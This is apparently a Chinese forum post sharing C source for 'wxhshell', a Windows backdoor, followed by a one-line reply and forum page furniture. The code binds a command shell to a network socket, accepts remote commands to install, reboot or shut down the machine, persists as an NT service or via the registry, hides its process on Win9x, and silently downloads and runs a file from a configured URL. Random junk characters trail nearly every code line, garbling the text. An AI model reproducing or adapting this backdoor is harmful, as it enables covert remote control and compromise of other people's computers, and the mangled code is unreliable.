  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y7 = *-  
  else sk 9*3d5I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LEG y1L  
  } %6L{Z*(  
  else { [*@"[u   
OT+LQ TE  
    switch(cmd[0]) { !M6*A1g5  
  S-GcH  
  // 帮助 &;|/I`+  
  case '?': { }5\F<b^@Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (z#qkKL{^  
    break; iCnKQG  
  } ,@Xl?  
  // 安装 p1q"[)WVn^  
  case 'i': { nKT\/}d  
    if(Install()) l@%MS\{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ap=L lZ  
    else uD_iyK0,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UO>ADRs}  
    break; m!V ?xGKJ  
    } d[J+):aW  
  // 卸载 uPhFBD7  
  case 'r': { :>]= YE  
    if(Uninstall()) -r7*C :E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K} LmU{/t/  
    else P-.>vi^+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7' ]n_-fu  
    break; 8i;EpAwB  
    } j@ lHgis  
  // 显示 wxhshell 所在路径 f.4r'^  
  case 'p': { 2Gd.B/L6  
    char svExeFile[MAX_PATH]; 'gI q_t|^  
    strcpy(svExeFile,"\n\r"); oSq4g{xvMH  
      strcat(svExeFile,ExeFile); J4&d6[40  
        send(wsh,svExeFile,strlen(svExeFile),0); . _Bejh  
    break; *F[@lY\p  
    } 1YL6:5n  
  // 重启 8c3Qd  
  case 'b': { QX-%<@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?#da4W  
    if(Boot(REBOOT)) 9KkxUEkW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LB1LQ 0M  
    else { 9Ra*bP ]1  
    closesocket(wsh); nep0<&"  
    ExitThread(0); YBehyx2eK  
    } hCS|(8g  
    break; 4$ya$Y%s%  
    } e0Zwhz,  
  // 关机 ihS;q6ln  
  case 'd': { R7pdwKD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `fYICp  
    if(Boot(SHUTDOWN)) WBvh<wTw;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yPs4S?<s  
    else { -^yb[b,  
    closesocket(wsh); ya.!zGH  
    ExitThread(0); ssj(-\5  
    } 2iO AUo+  
    break; lV<2+Is  
    } LQ(z~M0B  
  // 获取shell 9%T~^V%T7  
  case 's': { o`,|{K$H  
    CmdShell(wsh); fyaiRn9/  
    closesocket(wsh); 6aRPm%  
    ExitThread(0); bis}zv^%v  
    break; LhO%^`vu  
  } z><u YO$  
  // 退出 5n{J}0C  
  case 'x': { 3D|Y4OM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BWRAz*V  
    CloseIt(wsh); IYAvO%~  
    break; lV924mh  
    } 1$mxMXNsJ  
  // 离开 'Km ~3t  
  case 'q': { sxc^n aK0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;r'y/ Y'?  
    closesocket(wsh); .LMOmc=(  
    WSACleanup(); B /q/6Pp  
    exit(1); t+y$i@R:  
    break; trlZ^K  
        } VAPRI\uM;  
  } !'scOWWn  
  } ,t?c=u\5  
"u^%~2  
  // 提示信息  =ie8{j2:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lxz!>JO>  
} c$fi3O  
  } cC@.&  
0oR'"Vo  
  return; A)v! {  
}  IDCuS  
}Rl^7h<!  
// shell模块句柄 2yB)2n#ut  
int CmdShell(SOCKET sock) J5Pi"U$FkY  
{ &ed&2t`Y  
STARTUPINFO si; FVY$A =G  
ZeroMemory(&si,sizeof(si)); w(/#isC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CVxqNR*DN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0 ]K\G55  
PROCESS_INFORMATION ProcessInfo; "$P|!k45(  
char cmdline[]="cmd"; ,zXP,(x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yvmo%.oU  
  return 0; Z/ w}so  
} (S<Z@y+d  
j<,Ho4v}_  
// 自身启动模式 'OEh'\d+x  
int StartFromService(void) i*ibx;s-  
{ 3jR>   
typedef struct JdYmUM|K/c  
{ B8=r^!jEL  
  DWORD ExitStatus; n{Ce%gy  
  DWORD PebBaseAddress; uO]^vP]fT  
  DWORD AffinityMask; 4S9hz  
  DWORD BasePriority; 8&K1;l }  
  ULONG UniqueProcessId; ahJ -T@  
  ULONG InheritedFromUniqueProcessId; TTGk"2 Q'  
}   PROCESS_BASIC_INFORMATION; AlPk o($E*  
y&A0}>a:d  
PROCNTQSIP NtQueryInformationProcess; ?so=k&I-M  
l  rRRRR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q!fdiv`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /i !3Fr"  
Uw`YlUT\  
  HANDLE             hProcess; b\ P6,s'(  
  PROCESS_BASIC_INFORMATION pbi; F R57F(31  
NCu:E{([  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cpY'::5.%  
  if(NULL == hInst ) return 0; %KjvV<f-a  
:6h$1 +6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J~jxmh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O8\>?4)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }8lvi vR4  
c>~q2_} W(  
  if (!NtQueryInformationProcess) return 0; E8gbm&x*  
HLL:nczj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0 oC5W?>8s  
  if(!hProcess) return 0; H0dHW;U<1  
LA +BH_t&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xbTvv>'U  
f52*s#4}  
  CloseHandle(hProcess); (B/od#nU  
W~W `fm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6cQ)*,Q  
if(hProcess==NULL) return 0; "J.7@\^ h/  
7NQ@q--3s  
HMODULE hMod; Q85Y6',  
char procName[255]; [\_#n5  
unsigned long cbNeeded; b '9L}q2m  
BdMmeM2h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V eD<1<  
'c[|\M!u  
  CloseHandle(hProcess); #E'aa'P}  
o)B`K."  
if(strstr(procName,"services")) return 1; // 以服务启动 v,eTDgw  
O>vbAIu  
  return 0; // 注册表启动 tMy<MO)Ei  
} e6 &-f  
 sJ3O ]  
// 主模块 0`H)c) pP  
int StartWxhshell(LPSTR lpCmdLine) eV"Za.a.  
{ kO)+%'L!8  
  SOCKET wsl; W]TO%x{  
BOOL val=TRUE; Id(wY$C&>  
  int port=0; Bu{1^g:  
  struct sockaddr_in door; {J[5 {]Je[  
^7p>p8  
  if(wscfg.ws_autoins) Install(); 3Yb2p!o  
ZH s' #  
port=atoi(lpCmdLine); #Rw9 Iy4  
^.Xom~  
if(port<=0) port=wscfg.ws_port; ZC!GKW P2  
)@hG#KMK  
  WSADATA data; 3;E,B7,mQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fGf C[DuY  
8am/5o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =rL^^MZp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); { K,KIj"  
  door.sin_family = AF_INET; P;8D|u^\*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Shag4-*@hi  
  door.sin_port = htons(port); v:xfGA nP  
^_0l(ke  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xRiWg/Z~  
closesocket(wsl); tqMOh R  
return 1; 0*4h}t9j  
} um5n3=K  
WU:r:m+ >  
  if(listen(wsl,2) == INVALID_SOCKET) { VNggDKS~K  
closesocket(wsl); 13f@Ox$  
return 1; _?m%i]~o  
} J;R1OJs S  
  Wxhshell(wsl); '*d);{D8  
  WSACleanup(); RIg `F#, 3  
:}n\ r/i  
return 0; $Y3mO ~  
#ouE, <  
} Pkq?tm$#  
}b$W+/M\  
// 以NT服务方式启动 F,)\\$=,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U%qE=u-  
{ +jv&V%IL  
DWORD   status = 0; M[}aQWT$v  
  DWORD   specificError = 0xfffffff; ?z/ )Hkw  
%9HL "  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $p?TE8G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C%LXGMt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p2)563#RS  
  serviceStatus.dwWin32ExitCode     = 0; 4r+s" |  
  serviceStatus.dwServiceSpecificExitCode = 0; &X%vp?p  
  serviceStatus.dwCheckPoint       = 0; E4;@P']`  
  serviceStatus.dwWaitHint       = 0; :,~]R,tJQ  
pI]tv@>:f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xn BL{ []  
  if (hServiceStatusHandle==0) return; e^ ZxU/e  
%]iE(!>3oy  
status = GetLastError(); ~L55l2u7  
  if (status!=NO_ERROR) q2U8]V U)  
{ MzP q(`W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )_-EeH  
    serviceStatus.dwCheckPoint       = 0; KhFw%Z0s<  
    serviceStatus.dwWaitHint       = 0; mAZfo53  
    serviceStatus.dwWin32ExitCode     = status; P-25]-  
    serviceStatus.dwServiceSpecificExitCode = specificError; KJQW))%e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #|ILeby  
    return; R4 x!b`:i  
  } K4`)srd  
nS$_VJ]~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `(Eiu$h6V-  
  serviceStatus.dwCheckPoint       = 0; {OBV+}#  
  serviceStatus.dwWaitHint       = 0; ?ZS/`P0}[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]Lz:oV^%  
} -w3KBlo  
)B1gX>J\8  
// 处理NT服务事件,比如:启动、停止 BnwYyh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) or)v:4PXW  
{ @ 5tW*:s  
switch(fdwControl) s/cclFji]  
{ $eQf5)5  
case SERVICE_CONTROL_STOP: ynQ+yW74Z  
  serviceStatus.dwWin32ExitCode = 0; -,Y[`(q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $bd tiD  
  serviceStatus.dwCheckPoint   = 0; a|5^4 J \%  
  serviceStatus.dwWaitHint     = 0; 3Gyw^_{J  
  { %k8 H'w\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,%!E-gr  
  } ,fR/C  
  return; {<J(*K*\Jo  
case SERVICE_CONTROL_PAUSE: UU;U,q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ab/^z0GT  
  break; QY}1i .f  
case SERVICE_CONTROL_CONTINUE: *41 2)zEy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a"Q>K7K  
  break; Kx<T;iJ}  
case SERVICE_CONTROL_INTERROGATE: <GRplkf`  
  break; gfU@`A_N"  
}; $6Az\Iu *  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +.Cx.Nf(  
} >v9@p7Dn  
%'`L+y  
// 标准应用程序主函数 ^U@-Dp,k+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mb +  
{ }]K^b1Fs5  
LF?MO1!M  
// 获取操作系统版本 "gQA|NHwV  
OsIsNt=GetOsVer(); C(jUM!m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +@5@`"Jry  
t,4'\nv*  
  // 从命令行安装 Of?3|I3 l  
  if(strpbrk(lpCmdLine,"iI")) Install(); }(-2a*Z;Y  
sQ05wAv  
  // 下载执行文件 A!bH0=<I  
if(wscfg.ws_downexe) {  )o\U4t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?K>=>bS^h  
  WinExec(wscfg.ws_filenam,SW_HIDE); -q6d&D'B+  
} QgB%\mO=  
[:Y`^iR.  
if(!OsIsNt) { </@3}rfUPg  
// 如果时win9x,隐藏进程并且设置为注册表启动 9&VfbrBM  
HideProc(); Du7DMo=l  
StartWxhshell(lpCmdLine); jYJRG<*e  
} )&$p?kF  
else 1.6Y=Mh=i[  
  if(StartFromService()) Ph Ep3o&"  
  // 以服务方式启动 <>I4wqqb  
  StartServiceCtrlDispatcher(DispatchTable); k}tT l 2  
else UL<*z!y  
  // 普通方式启动 oy< q;'  
  StartWxhshell(lpCmdLine); zhW.0:9 CR  
DI,8y"!5  
return 0; !c#~g0H+  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录 或 注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五